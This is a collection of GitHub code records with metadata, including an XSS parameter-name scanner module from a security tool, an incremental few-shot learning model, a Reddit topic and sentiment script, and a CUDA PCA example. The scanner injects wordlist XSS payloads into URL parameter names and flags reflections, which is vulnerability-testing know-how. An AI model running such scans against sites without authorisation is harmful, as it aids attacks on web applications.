"usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 55, "usage_type": "call"}, {"api_name": "pygraphviz.AGraph", "line_number": 120, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 125, "usage_type": "call"}, {"api_name": "relations.values", "line_number": 125, "usage_type": "call"}]}
{"seq_id": "10544920260", "text": "from urllib.parse import urlparse\nfrom core.libs import alert_bug , random_str, urlencoder, insert_to_params_name, Http\nfrom wordlists import XSS\nfrom modules import Scan\nclass XssParam(Scan):\n    def __init__(self, opts: dict, http: Http):\n        super().__init__(opts, http)\n        self.payloads = XSS(opts['blindxss']).payloads\n        \n    def reflect(self, url: str, method: str ='GET') -> list:\n        ref = []\n        txt = f'scan{random_str(2)}'\n        url = insert_to_params_name(url,txt)\n        response = self.send_request(method, url)\n        if type(response) == list:\n            return [] # connection error\n        if txt in response.text:\n            ref.append(txt)\n        return ref\n    \n    def start(self) -> dict:\n        for method in self.opts['methods']:\n            reflected = self.reflect(self.opts['url'],method=method)\n            if len(reflected) > 0:\n                for payload in self.payloads:\n                    payload = payload.rstrip()\n                    nurl = insert_to_params_name(self.opts['url'],urlencoder(payload))\n                    response = self.send_request(method, nurl)\n                    if payload in response.text:\n                        alert_bug('XSS PARAMETER NAME',response,payload=payload)\n", "repo_name": "Transmetal/scant3r", "sub_path": "modules/python/xss_param/xss_param.py", "file_name": "xss_param.py", "file_ext": "py", "file_size_in_byte": 1263, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "modules.Scan", "line_number": 5, "usage_type": "name"}, {"api_name": "core.libs.Http", "line_number": 6, "usage_type": "name"}, {"api_name": "wordlists.XSS", "line_number": 8, "usage_type": "call"}, {"api_name": "core.libs.random_str", "line_number": 12, "usage_type": "call"}, {"api_name": "core.libs.insert_to_params_name", "line_number": 13, "usage_type": "call"}, {"api_name": "core.libs.insert_to_params_name", "line_number": 27, "usage_type": "call"}, {"api_name": "core.libs.urlencoder", "line_number": 27, "usage_type": "call"}, {"api_name": "core.libs.alert_bug", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "14120565099", "text": "import streamlit as st\n\nnum = int(st.number_input(\"Input Number: \",value=0))\n\ntotalSum = 0\n\nfor i in range(1, num+1):\n    totalSum += i\n\nst.write(f\"Sum is: {totalSum}\")", "repo_name": "Sukury/2023BLA_XueqingHu_W3", "sub_path": "W3_Q5.py", "file_name": "W3_Q5.py", "file_ext": "py", "file_size_in_byte": 168, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "streamlit.number_input", "line_number": 3, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "27797415484", "text": "import importlib\nimport torch\nimport torch.nn as nn\nfrom torch.nn import init\nimport torch.nn.functional as F\nfrom collections import OrderedDict\nfrom copy import deepcopy\nimport wandb\nimport numpy as np\nfrom os import path as osp\n\nfrom methods import networks as networks\nfrom methods.base_model import BaseModel\nfrom utils import ProgressBar, get_root_logger, Averager, AvgDict\nfrom metrics import pair_euclidean_distances, norm_cosine_distances\n\nfrom dataloader_alice.data_utils import * # topic split\n\nloss_module = importlib.import_module('methods.losses')\n\nclass AANetTopicModel(BaseModel):\n    \"\"\"Metric-based learning model\"\"\"\n    def __init__(self, opt):\n        super(AANetTopicModel, self).__init__(opt)\n        self.use_cosine = self.opt.get('use_cosine', False)\n        self.device = self.opt.get('gpu', False)\n\n        if self.is_incremental:\n            train_opt = self.opt['train']\n            self.now_session_id = self.opt['task_id'] + 1\n            self.num_novel_class = train_opt['num_class_per_task'] if self.now_session_id > 0 else 0\n            self.total_class = train_opt['bases'] + self.num_novel_class * self.now_session_id\n            self.num_old_class = self.total_class - self.num_novel_class if self.now_session_id > 0 else self.total_class\n\n        # define network\n        self.net_g = networks.define_net_g(deepcopy(opt['network_g']))\n        self.net_g = self.model_to_device(self.net_g, opt['gpu'])\n        self.print_network(self.net_g)\n\n        # define extended network\n        self.net_e = networks.define_net_g(deepcopy(opt['network_g']))\n        self.net_e = self.model_to_device(self.net_g, opt['gpu'])\n        self.print_network(self.net_e)\n\n        # load pretrained models\n        load_path = self.opt['path'].get('pretrain_model_g', None)\n        if load_path is not None:\n            self.load_network(self.net_g, load_path,\n                              self.opt['path']['strict_load'])\n\n        # load base models for incremental learning\n        load_base_model_path = self.opt['path'].get('base_model', None)\n        if load_base_model_path is not None and self.is_incremental:\n            print(f' ---- load:{load_base_model_path}')\n            self.load_network(self.net_g, load_base_model_path,\n                              self.opt['path']['strict_load'])\n\n            # load the prototypes for all seen classes\n            assert opt['task_id'] + 1 == self.now_session_id\n            self.load_prototypes(opt['task_id'], opt['test_id'])\n\n        # load extended models for incremental learning\n        load_extra_model_path = self.opt['path'].get('extra_model', None)\n        if load_extra_model_path is not None and self.now_session_id > 0:\n            print(f' ---- load:{load_extra_model_path}')\n            self.load_network(self.net_e, load_extra_model_path,\n                              self.opt['path']['strict_load'])\n\n        self.init_training_settings()\n\n    def init_training_settings(self):\n        self.net_g.train()\n\n        # define losses\n        self.loss_func = nn.CrossEntropyLoss()\n\n        train_opt = self.opt['train']\n        if train_opt.get('proto_loss'):\n            proto_loss_type = train_opt['proto_loss'].pop('type')\n            proto_loss_func = getattr(loss_module, proto_loss_type)\n            self.proto_loss_func = proto_loss_func(**train_opt['proto_loss']).cuda()\n        else:\n            self.proto_loss_func = None\n\n        if train_opt.get('cpn_opt'):\n            cf_type = train_opt['cpn_opt'].pop('type')\n            pn_loss_func = getattr(loss_module, cf_type)\n            self.cpn_loss_func = pn_loss_func(**train_opt['cpn_opt']).to(self.device)\n            train_opt['cpn_opt']['type'] = cf_type\n        else:\n            self.cpn_loss_func = None\n\n        # set up optimizers and schedulers\n        self.setup_optimizers()\n        self.setup_e_optimizers()\n\n        self.setup_schedulers()\n\n    def setup_optimizers(self):\n        train_opt = self.opt['train']\n        lr_cf = train_opt['optim_g'].get('lr_cf', None)\n\n        if lr_cf is not None:\n            train_opt['optim_g'].pop('lr_cf')\n            opitm_embed = []\n            optim_cf = []\n            for k, v in self.net_g.named_parameters():\n                if v.requires_grad:\n                    if 'classifier' in k:\n                        optim_cf.append(v)\n                    else:\n                        opitm_embed.append(v)\n                else:\n                    logger = get_root_logger()\n                    logger.warning(f'Params {k} will not be optimized.')\n\n            optim_params = [{'params': opitm_embed},\n                            {'params': optim_cf, 'lr': lr_cf}]\n        else:\n            optim_params = []\n            for k, v in self.net_g.named_parameters():\n                if v.requires_grad:\n                    optim_params.append(v)\n                else:\n                    logger = get_root_logger()\n                    logger.warning(f'Params {k} will not be optimized.')\n\n        self.optim_type = train_opt['optim_g'].pop('type')\n        if self.optim_type == 'Adam':\n            self.optimizer_g = torch.optim.Adam(optim_params,\n                                                **train_opt['optim_g'])\n        elif self.optim_type == 'SGD':\n            self.optimizer_g = torch.optim.SGD(optim_params, **train_opt['optim_g'])\n        else:\n            raise NotImplementedError(\n                f'optimizer {optim_type} is not supperted yet.')\n        self.optimizers.append(self.optimizer_g)\n        train_opt['optim_g']['type'] = self.optim_type\n\n    def setup_e_optimizers(self):\n        train_opt = self.opt['train']\n        lr_cf = train_opt['optim_e'].get('lr_cf', None)\n\n        if lr_cf is not None:\n            train_opt['optim_e'].pop('lr_cf')\n            opitm_embed = []\n            optim_cf = []\n            for k, v in self.net_e.named_parameters():\n                if v.requires_grad:\n                    if 'classifier' in k:\n                        optim_cf.append(v)\n                    else:\n                        opitm_embed.append(v)\n                else:\n                    logger = get_root_logger()\n                    logger.warning(f'Params {k} will not be optimized.')\n\n            optim_params = [{'params': opitm_embed},\n                            {'params': optim_cf, 'lr': lr_cf}]\n        else:\n            optim_params = []\n            for k, v in self.net_e.named_parameters():\n                if v.requires_grad:\n                    optim_params.append(v)\n                else:\n                    logger = get_root_logger()\n                    logger.warning(f'Params {k} will not be optimized.')\n\n        self.optim_e_type = train_opt['optim_e'].pop('type')\n        if self.optim_e_type == 'Adam':\n            self.optimizer_e = torch.optim.Adam(optim_params,\n                                                **train_opt['optim_e'])\n        elif self.optim_e_type == 'SGD':\n            self.optimizer_e = torch.optim.SGD(optim_params, **train_opt['optim_e'])\n        else:\n            raise NotImplementedError(\n                f'optimizer {optim_type} is not supperted yet.')\n        self.optimizers.append(self.optimizer_e)\n        train_opt['optim_e']['type'] = self.optim_e_type\n\n    def incremental_init(self, train_set, val_set):\n        \"\"\" Initializing the incremental learning procedure\n        Args:\n            train_set (torch.utils.data.Dataset): the training dataset\n            val_set (torch.utils.data.Dataset): the validation dataset\n        \"\"\"\n\n        selected_classes = get_session_classes(\n            session=self.now_session_id,\n            opt=self.opt)\n\n        if self.now_session_id > 0:\n            novel_classes = selected_classes[-self.opt['train']['way']:]\n        else:\n            novel_classes = []\n        self.novel_classes = novel_classes\n\n    def incremental_update(self, novel_dataset, mask=None):\n        train_opt = self.opt['val']\n\n        test_type = train_opt.get('test_type', 'NCM')\n\n        if test_type == 'NCM' or self.now_session_id == 0:\n            prototypes_list, labels_list = self.get_prototypes(novel_dataset)\n            # update prototypes dict\n            for i in range(prototypes_list.shape[0]):\n                self.prototypes_dict.update({labels_list[i].item(): prototypes_list[i]})\n\n    def incremental_test(self, test_dataset, task_id=-1, test_id=-1):\n        self.net_g.eval()\n        train_opt = self.opt['val']\n\n        test_type = train_opt.get('test_type', 'NCM')\n        if test_type == 'NCM' or self.now_session_id == 0:\n            if self.opt.get('details', False):\n                acc, acc_former_ave, acc_former_all_ave, acc_novel_all_ave = self.__NCM_incremental_test(test_dataset, task_id, test_id)\n            else:\n                acc = self.__NCM_incremental_test(test_dataset, task_id, test_id)\n        else:\n            raise ValueError(f'Do not support the type {test_type} for testing')\n\n        if self.opt.get('details', False):\n            return acc, acc_former_ave, acc_former_all_ave, acc_novel_all_ave\n        else:\n            return acc\n\n    def incremental_optimize_parameters(self, current_iter, mask=None):\n        # set zero grads\n        self.optimizer_g.zero_grad()\n        self.optimizer_e.zero_grad()\n\n        model = getattr(self.net_g, 'func')\n        model_e = getattr(self.net_e, 'func')\n        model.train()\n        model_e.train()\n\n        # ======================AANet===========================\n        output_b_task, output_b_fc = model.forward_score(self.images)\n        output_e_task, output_e_fc = model_e.forward_score(self.images)\n\n        self.scale_output(output_b_task, output_e_task, alpha=self.opt['beta'])\n\n        l_total = 0\n        if self.cpn_loss_func is not None :\n            loss, log = self.cpn_loss_func(self.former_proto_list.detach(),\n                                           self.former_proto_label.detach(),\n                                           self.output,\n                                           self.labels)\n\n            self.log_dict.update(log)\n            self.log = log\n            l_total += loss\n\n        l_total.backward(retain_graph=False)\n        self.optimizer_g.step()\n        self.optimizer_e.step()\n\n    def scale_output(self, output, output_e, alpha=0.5):\n        self.output = output * alpha + output_e * (1-alpha)\n\n    def incremental_fine_tune(self, train_dataset, train_loader, val_dataset, val_loader,\n                              num_epoch, task_id=-1, test_id=-1, tb_logger=None, mask=None):\n        \"\"\"\n        fine tune the models with the samples of incremental novel class\n\n        Args:\n            train_dataset (torch.utils.data.Dataset): the training dataset\n            val_dataset (torch.utils.data.Dataset): the validation dataset\n            num_epoch (int): the number of epoch to fine tune the models\n            task_id (int): the id of sessions\n            test_id (int): the id of few-shot test\n        \"\"\"\n\n        current_iter = 0\n        for epoch in range(num_epoch):\n            self.epoch = epoch\n            for idx, data in enumerate(train_loader):\n                current_iter += 1\n                self.update_learning_rate(\n                    current_iter, warmup_iter=-1)\n\n                with torch.no_grad():\n                    self.feed_data(data)\n\n                self.incremental_optimize_parameters(current_iter, mask=mask)\n\n                if (idx % 10) == 0:\n                    loss = self.log['PTFixPNLoss']\n                    acc = self.log['Acc']\n                    print(f'sess:{self.now_session_id}, epoch:{epoch}, loss:{loss}, acc:{acc}')\n\n    def __NCM_incremental_test(self, test_dataset, task_id=-1, test_id=-1):\n        prototypes = []\n        pt_labels = []\n        for key, value in self.prototypes_dict.items():\n            prototypes.append(value)\n            pt_labels.append(key)\n\n        prototypes = torch.stack(prototypes).cuda()\n        pt_labels = torch.tensor(pt_labels).cuda()\n\n        if self.opt.get('details', False):\n            data_loader = torch.utils.data.DataLoader(dataset=test_dataset, batch_size=1, shuffle=False, drop_last=False)\n        else:\n            data_loader = torch.utils.data.DataLoader(dataset=test_dataset, batch_size=128, shuffle=False,\n                                                      drop_last=False)\n\n        acc_ave = Averager()\n        acc_former_ave = Averager()\n        acc_former_all_ave = Averager()\n        acc_novel_all_ave = Averager()\n\n        for idx, data in enumerate(data_loader):\n            self.feed_data(data)\n            self.test()\n\n            pairwise_distance = pair_euclidean_distances(self.output, prototypes)\n\n            estimate = torch.argmin(pairwise_distance, dim=1)\n\n            estimate_labels = pt_labels[estimate]\n\n            acc = (estimate_labels ==\n                   self.labels).sum() / float(estimate_labels.shape[0])\n\n            acc_ave.add(acc.item(), int(estimate_labels.shape[0]))\n\n            if self.opt.get('details', False):\n                if self.labels.item() < self.opt['train']['bases']:\n                    acc_former_all_ave.add(acc.item(), int(estimate_labels.shape[0]))\n                else:\n                    acc_novel_all_ave.add(acc.item(), int(estimate_labels.shape[0]))\n\n        if self.opt.get('details', False):\n            log_str = f'[Test_acc of task {task_id} on test {test_id}: {acc_ave.item():.5f}]' \\\n                      f'[acc of former classes: {acc_former_ave.item():.5f}]' \\\n                      f'[acc of former samples in all classes: {acc_former_all_ave.item():.5f}]\\n' \\\n                      f'[acc of novel samples in all classes: {acc_novel_all_ave.item():.5f}]'\n                      # f'[old norm: {old_norm.item():.5f}][novel norm: {novel_norm.item():.5f}]'\n        else:\n            log_str = f'[Test_acc of task {task_id} on test {test_id}: {acc_ave.item():.5f}]'\n\n        logger = get_root_logger()\n        logger.info(log_str)\n\n        if self.opt.get('details', False):\n            return acc_ave.item(), acc_former_ave.item(), acc_former_all_ave.item(), acc_novel_all_ave.item()\n        else:\n            return acc_ave.item()\n\n    def get_prototypes(self, training_dataset):\n        \"\"\"\n        calculated the prototypes for each class in training dataset\n\n        Args:\n            training_dataset (torch.utils.data.Dataset): the training dataset\n\n        Returns:\n            tuple: (prototypes_list, labels_list) where prototypes_list is the list of prototypes and\n            labels_list is the list of class labels\n        \"\"\"\n        training_dataset.set_aug(flag=False)\n        features_list = []\n        labels_list = []\n        prototypes_list = []\n        data_loader = torch.utils.data.DataLoader(\n            training_dataset, batch_size=128, shuffle=False, drop_last=False)\n        for i, data in enumerate(data_loader, 0):\n            self.feed_data(data)\n            self.test()\n            features_list.append(self.output)\n            labels_list.append(self.labels)\n\n        # tentative for out of GPU memory\n        del self.images\n        del self.labels\n        del self.output\n        torch.cuda.empty_cache()\n\n        features = torch.cat(features_list, dim=0)\n        labels = torch.cat(labels_list, dim=0)\n        selected_classes = get_session_classes(\n            session=self.now_session_id,\n            opt=self.opt)\n\n        if self.now_session_id > 0:\n            novel_classes = selected_classes[-self.opt['train']['way']:]\n        else:\n            novel_classes = selected_classes\n\n        for cl in novel_classes:\n            index_cl = torch.where(cl == labels)[0]\n            class_features = features[index_cl]\n            if self.use_cosine:\n                class_features = F.normalize(class_features, dim=1)\n            prototypes_list.append(class_features.mean(dim=0))\n\n        prototypes_list = torch.stack(prototypes_list, dim=0)\n        # reset augmentation\n        training_dataset.set_aug(flag=True)\n\n        return prototypes_list, novel_classes\n\n    def feed_data(self, data):\n        \"\"\"\n        The Data structure is (images, labels, labels_softmax)\n        \"\"\"\n\n        self.images = data[0].cuda()\n        self.labels = data[1].cuda()\n\n        try:\n            self.labels_softmax = data[2].cuda()\n        except:\n            self.labels_softmax = self.labels\n\n    def optimize_parameters(self, current_iter):\n        self.optimizer_g.zero_grad()\n        original_output = self.net_g.forward(self.images)\n\n        l_total = 0\n\n        self.log_dict = AvgDict()\n\n        loss = self.loss_func(original_output, self.labels_softmax)\n        log_dict = {'CELoss': loss.item()}\n        self.log_dict.add_dict(log_dict)\n        l_total += loss\n\n        l_total.backward()\n        self.optimizer_g.step()\n\n        self.log_dict = self.log_dict.get_ordinary_dict()\n\n    def test(self, mask=None, mode='test'):\n        self.net_g.eval()\n        self.net_e.eval()\n        with torch.no_grad():\n            # ======================AANet===========================\n            self.output, self.output_fc = self.net_g.forward_score(\n                self.images)\n\n            self.output_e, self.output_e_fc = self.net_e.forward_score(\n                self.images)\n\n            if self.now_session_id > 0:\n                self.scale_output(self.output, self.output_e, alpha=self.opt['beta'])\n\n\n    def dist_validation(self, dataloader, current_iter, tb_logger, save_img, name=''):\n        logger = get_root_logger()\n        logger.info('Only support single GPU validation.')\n        acc = self.nondist_validation(dataloader, current_iter, tb_logger, save_img, name)\n        return acc\n\n    def nondist_validation(self, training_dataset, dataloader, current_iter, tb_logger, name='', mask=None):\n        \"\"\"\n        Args:\n            current_iter: the current iteration. -1 means the testing procedure\n        \"\"\"\n        self.net_g.eval()\n        acc = self.__nondist_validation(training_dataset, dataloader)\n        log_str = f'Val_acc \\t {acc:.5f}\\n'\n        logger = get_root_logger()\n        logger.info(log_str)\n\n        if current_iter != -1:\n            if tb_logger:\n                tb_logger.add_scalar(f'{name}val_acc', acc, current_iter)\n            if self.wandb_logger is not None:\n                wandb.log({f'{name}val_acc': acc}, step=current_iter)\n        else:\n            if tb_logger:\n                tb_logger.add_scalar(f'{name}val_acc', acc, 0)\n            if self.wandb_logger is not None:\n                wandb.log({f'{name}val_acc': acc}, step=0)\n\n        return acc\n\n    def __nondist_validation(self, training_dataset, dataloader):\n        acc_ave = Averager()\n\n        for idx, data in enumerate(dataloader):\n            self.feed_data(data)\n            self.test(output_embedding=False)\n\n            #print(\"te_base_labels:{}\".format(data[1].max()))\n            estimate_labels = torch.argmax(self.output, dim=1)\n            acc = (estimate_labels ==\n                   self.labels_softmax).sum() / float(estimate_labels.shape[0])\n\n            acc_ave.add(acc.item(), int(self.labels_softmax.shape[0]))\n\n        # tentative for out of GPU memory\n        del self.images\n        del self.labels\n        del self.labels_softmax\n        del self.output\n        del self.output_fc\n\n        # set model to be trainable\n        self.net_g.train()\n        self.net_e.train()\n        return acc_ave.item()\n\n    def save(self, epoch, current_iter, name='net_g', dataset=None, mask=None,\n             task_id=None):\n        self.save_network(self.net_g, name, current_iter)\n        self.save_network(self.net_e, name + '_extra', current_iter)\n\n        self.save_training_state(epoch, current_iter)\n        if self.is_incremental:\n            self.save_prototypes(self.now_session_id, self.opt['test_id'])\n\n    def load_prototypes(self, session_id, test_id):\n        if session_id >= 0:\n            if self.opt['train']['novel_exemplars'] == 0:\n                load_filename = f'test{0}_session{session_id}.pt'\n            else:\n                load_filename = f'test{0}_session{0}.pt'\n            load_path = osp.join(self.opt['path']['prototypes'], load_filename)\n            print(f' --------------------------------------------------------')\n            print(f' ----load_prototypes:{load_path}')\n            print(f' --------------------------------------------------------')\n            prototypes_dict = torch.load(load_path)\n            self.prototypes_dict = prototypes_dict\n            self.former_proto_list, self.former_proto_label = self._read_prototypes()\n        else:\n            if self.opt['path'].get('pretrain_prototypes', None) is not None:\n                load_path = self.opt['path']['pretrain_prototypes']\n                print(f' --------------------------------------------------------')\n                print(f' ----load_pretrain_prototypes:{load_path}')\n                print(f' --------------------------------------------------------')\n                prototypes_dict = torch.load(self.opt['path']['pretrain_prototypes'])\n                self.prototypes_dict = prototypes_dict\n                self.former_proto_list, self.former_proto_label = self._read_prototypes()\n\n    def save_prototypes(self, session_id, test_id):\n        if session_id >= 0:\n            save_path = osp.join(self.opt['path']['prototypes'], f'test{test_id}_session{session_id}.pt')\n            torch.save(self.prototypes_dict, save_path)\n\n    def _read_prototypes(self):\n        prototypes = []\n        pt_labels = []\n        for key, value in self.prototypes_dict.items():\n            prototypes.append(value)\n            pt_labels.append(key)\n        if len(prototypes) > 0:\n            prototypes = torch.stack(prototypes).cuda()\n            pt_labels = torch.tensor(pt_labels).cuda()\n        else:\n            prototypes = None\n            pt_labels = None\n        return prototypes, pt_labels\n", "repo_name": "ihaeyong/SoftNet-FSCIL", "sub_path": "methods/AANet_topic_model.py", "file_name": "AANet_topic_model.py", "file_ext": "py", "file_size_in_byte": 21889, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "71", "api": [{"api_name": "importlib.import_module", "line_number": 19, "usage_type": "call"}, {"api_name": "methods.base_model.BaseModel", "line_number": 21, "usage_type": "name"}, {"api_name": "methods.networks.define_net_g", "line_number": 36, "usage_type": "call"}, {"api_name": "methods.networks", "line_number": 36, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 36, "usage_type": "call"}, {"api_name": "methods.networks.define_net_g", "line_number": 41, "usage_type": "call"}, {"api_name": "methods.networks", "line_number": 41, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "name"}, {"api_name": "utils.get_root_logger", "line_number": 114, "usage_type": "call"}, {"api_name": "utils.get_root_logger", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 130, "usage_type": "attribute"}, {"api_name": "torch.optim.SGD", "line_number": 133, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 133, "usage_type": "attribute"}, {"api_name": "utils.get_root_logger", "line_number": 155, "usage_type": "call"}, {"api_name": "utils.get_root_logger", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 171, "usage_type": "attribute"}, {"api_name": "torch.optim.SGD", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 174, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 282, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 299, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 300, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 303, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 303, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 305, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 305, "usage_type": "attribute"}, {"api_name": "utils.Averager", "line_number": 308, "usage_type": "call"}, {"api_name": "utils.Averager", "line_number": 309, "usage_type": "call"}, {"api_name": "utils.Averager", "line_number": 310, "usage_type": "call"}, {"api_name": "utils.Averager", "line_number": 311, "usage_type": "call"}, {"api_name": "metrics.pair_euclidean_distances", "line_number": 317, "usage_type": "call"}, {"api_name": "torch.argmin", "line_number": 319, "usage_type": "call"}, {"api_name": "utils.get_root_logger", "line_number": 343, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 366, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 366, "usage_type": "attribute"}, {"api_name": "torch.cuda.empty_cache", "line_number": 378, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 378, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 380, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 381, "usage_type": "call"}, {"api_name": "torch.where", "line_number": 392, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 395, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 395, "usage_type": "name"}, {"api_name": "torch.stack", "line_number": 398, "usage_type": "call"}, {"api_name": "utils.AvgDict", "line_number": 423, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 438, "usage_type": "call"}, {"api_name": "utils.get_root_logger", "line_number": 451, "usage_type": "call"}, {"api_name": "utils.get_root_logger", "line_number": 464, "usage_type": "call"}, {"api_name": "wandb.log", "line_number": 471, "usage_type": "call"}, {"api_name": "wandb.log", "line_number": 476, "usage_type": "call"}, {"api_name": "utils.Averager", "line_number": 481, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 488, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 521, "usage_type": "call"}, {"api_name": "os.path", "line_number": 521, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 525, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 534, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 540, "usage_type": "call"}, {"api_name": "os.path", "line_number": 540, "usage_type": "name"}, {"api_name": "torch.save", "line_number": 541, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 550, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 551, "usage_type": "call"}]}
{"seq_id": "74159341350", "text": "import json\nimport re\nfrom gensim.models import LdaModel\nfrom gensim.corpora import Dictionary\nfrom nltk.corpus import stopwords\nfrom textblob import TextBlob\nimport os\nimport json\n\nfolder_path = \"reddit_posts\"\n\ncombined_data = []\n\nfor filename in os.listdir(folder_path):\n    if filename.endswith(\".json\"):\n        file_path = os.path.join(folder_path, filename)\n        with open(file_path, \"r\") as file:\n            data = json.load(file)\n            combined_data.extend(data)\n\nprint(f\"Total number of posts in combined dataset: {len(combined_data)}\")\n# total number of comments in combined dataset\ntotal_comments = sum(len(post[\"comments\"]) for post in combined_data)\nprint(f\"Total number of comments in combined dataset: {total_comments}\")\n\n\n\ndef preprocess_text(text):\n    text = re.sub(r'\\W', ' ', text)\n    text = re.sub(r'\\s+', ' ', text)\n    text = text.lower()\n    words = text.split()\n    stopword_extended = stopwords.words(\"english\")\n    stopword_extended.extend([\"http\", \"https\", \"www\", \"com\", \"org\", \"net\", \"edu\", \"reddit\", \"redditcom\", \"redditcomr\", \"redditcomrall\", \"en\"])\n    words = [word for word in words if word not in stopword_extended]\n    return words\n\n\ndef extract_topics(corpus, num_topics=20):\n    dictionary = Dictionary(corpus)\n    doc_term_matrix = [dictionary.doc2bow(doc) for doc in corpus]\n    lda = LdaModel(doc_term_matrix, num_topics=num_topics, id2word=dictionary, passes=50)\n    return lda.print_topics()\n\n\ndef sentiment_analysis(text):\n    text_str = ' '.join(text)\n    analysis = TextBlob(text_str)\n    sentiment = analysis.sentiment.polarity\n\n    return sentiment\n\nminimum_karma = 50\n\nwith open('banned_words.json', 'r') as file:\n    banned_words = json.load(file)\n\ncredible_data = [post for post in combined_data if post[\"author\"][\"karma\"] >= minimum_karma]\n# exclude posts that are about looking for jobs/offering jobs/hiring\ndata = [post for post in credible_data if not any(word in post[\"title\"].lower() for word in banned_words)]\n\nprint(f\"Total number of posts in credible dataset: {len(data)}\")\n# total number of comments in credible dataset\ntotal_comments = sum(len(post[\"comments\"]) for post in data)\nprint(f\"Total number of comments in credible dataset: {total_comments}\")\n\npreprocessed_titles = [preprocess_text(post[\"title\"] + \" \" + post[\"text\"]) for post in data]\npreprocessed_comments = [preprocess_text(comment[\"text\"]) for post in data for comment in post[\"comments\"]]\n\ntopics = extract_topics(preprocessed_titles + preprocessed_comments)\n\nsentiments = [sentiment_analysis(text) for text in preprocessed_titles + preprocessed_comments]\npositive_count = sum(1 for sentiment in sentiments if sentiment > 0)\nnegative_count = sum(1 for sentiment in sentiments if sentiment < 0)\nneutral_count = sum(1 for sentiment in sentiments if sentiment == 0)\n\nresults = {\n    \"topics\": topics,\n    \"sentiments\": {\n        \"positive\": positive_count,\n        \"negative\": negative_count,\n        \"neutral\": neutral_count\n    }\n}\n\n# Save the results to a JSON file\nwith open(\"results.json\", \"w\") as outfile:\n    json.dump(results, outfile, indent=4)\n", "repo_name": "evelynforkhands/medical-AI", "sub_path": "sentiment-topics.py", "file_name": "sentiment-topics.py", "file_ext": "py", "file_size_in_byte": 3090, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.listdir", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 18, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 29, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 30, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 33, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 33, "usage_type": "name"}, {"api_name": "gensim.corpora.Dictionary", "line_number": 40, "usage_type": "call"}, {"api_name": "gensim.models.LdaModel", "line_number": 42, "usage_type": "call"}, {"api_name": "textblob.TextBlob", "line_number": 48, "usage_type": "call"}, {"api_name": "json.load", "line_number": 56, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 88, "usage_type": "call"}]}
{"seq_id": "281499548", "text": "# This example demonstrates simple PCA-computation using CUDA-Solver library.\n\nimport pycuda.autoinit\nfrom pycuda import gpuarray\nimport numpy as np\nfrom skcuda import linalg\n\nvals = [np.float32([10, 0, 0, 0, 0, 0, 0, 0, 0, 0]), np.float32([0, 10, 0, 0, 0, 0, 0, 0, 0, 0])]\n\nfor i in range(3000):\n    vals.append(vals[0] + 0.001 * np.random.randn(10))\n    vals.append(vals[1] + 0.001 * np.random.randn(10))\n    vals.append(0.001 * np.random.randn(10))\n\nvals = np.float32(vals)\nvals = vals - np.mean(vals, axis=0)\nv_gpu = gpuarray.to_gpu(vals.T.copy())\n\nU_d, s_d, V_d = linalg.svd(v_gpu, lib='cusolver')\n\nu = U_d.get()\ns = s_d.get()\nv = V_d.get()\n\nprint(s**2)\nprint(u[:,0])\nprint(u[:,1])\n", "repo_name": "sfefilatyev/cuda_python_examples", "sub_path": "chapter7/pca_example.py", "file_name": "pca_example.py", "file_ext": "py", "file_size_in_byte": 687, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.float32", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 11, "usage_type": 